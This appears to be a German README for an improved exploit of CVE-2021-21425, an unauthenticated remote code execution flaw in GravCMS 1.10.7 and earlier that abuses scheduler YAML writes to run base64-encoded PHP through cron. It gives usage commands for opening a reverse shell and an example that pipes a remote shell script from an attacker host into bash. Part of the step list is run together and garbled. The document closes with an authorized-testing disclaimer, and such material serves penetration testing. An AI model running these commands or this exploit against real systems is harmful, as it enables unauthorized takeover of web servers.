
CVE-2021-21425 - GravCMS 1.10.7 Unauthenticated RCE via Scheduler. Verbesserter Exploit mit CLI-Argumenten und automatischer base64-Kodierung.
Exploit für unbeauthentifizierte Remote-Code-Ausführung für GravCMS <= 1.10.7 über beliebiges YAML-Schreiben in den Scheduler.
Dies ist eine verbesserte Version von EDB-49973. Der ursprüngliche Exploit erfordert manuelles Bearbeiten von festcodierten Werten im Skript. Diese Version fügt ordnungsgemäße CLI-Argumente und automatische Base64-Kodierung von Payloads hinzu.
Verbesserungen gegenüber dem Original:
-c)| Feld | Wert |
|---|---|
| CVE | CVE-2021-21425 |
| EDB-ID | 49973 |
| Betroffen | GravCMS <= 1.10.7 |
| Typ | Unbeauthentifizierte RCE |
| CVSS | 9.8 (Kritisch) |
Das Grav Admin-Plugin überprüft die Authentifizierung auf bestimmten Admin-Routen nicht, sodass nicht authentifizierte Benutzer beliebige YAML-Konfiguration schreiben können. Dieser Exploit missbraucht die Scheduler-Konfiguration, um einen Cron-Job zu erstellen, der beliebigen PHP-Code ausführt.
# Reverse Shell
python3 exploit.py -t http://target -s <LHOST> <LPORT>
# Benutzerdefinierter Befehl
python3 exploit.py -t http://target -c "id"
# Reverse Shell auf Ziel holen
python3 exploit.py -t http://10.10.10.5 -s 10.10.14.5 4444
# Befehl ausführen
python3 exploit.py -t http://grav.local:8080 -c "curl http://10.10.14.5/shell.sh | bash"
pip install requests
/admin ab, um das admin-nonce-Token zu extrahieren (keine Authentifizierung erforderlich aufgrund der Schwachstelle)/admin/config/scheduler mit bösartiger Cron-Job-Konfiguration/usr/bin/php -r eval(base64_decode(...)) aus/tmp/rev.sh und führt sie ausDer Cron-Job läuft jede Minute (* * * * *), sodass die Shell innerhalb von 60 Sekunden eintrifft.
Nur für autorisierte Sicherheitstests. Stellen Sie sicher, dass Sie eine schriftliche Genehmigung haben, bevor Sie Tests an einem System durchführen.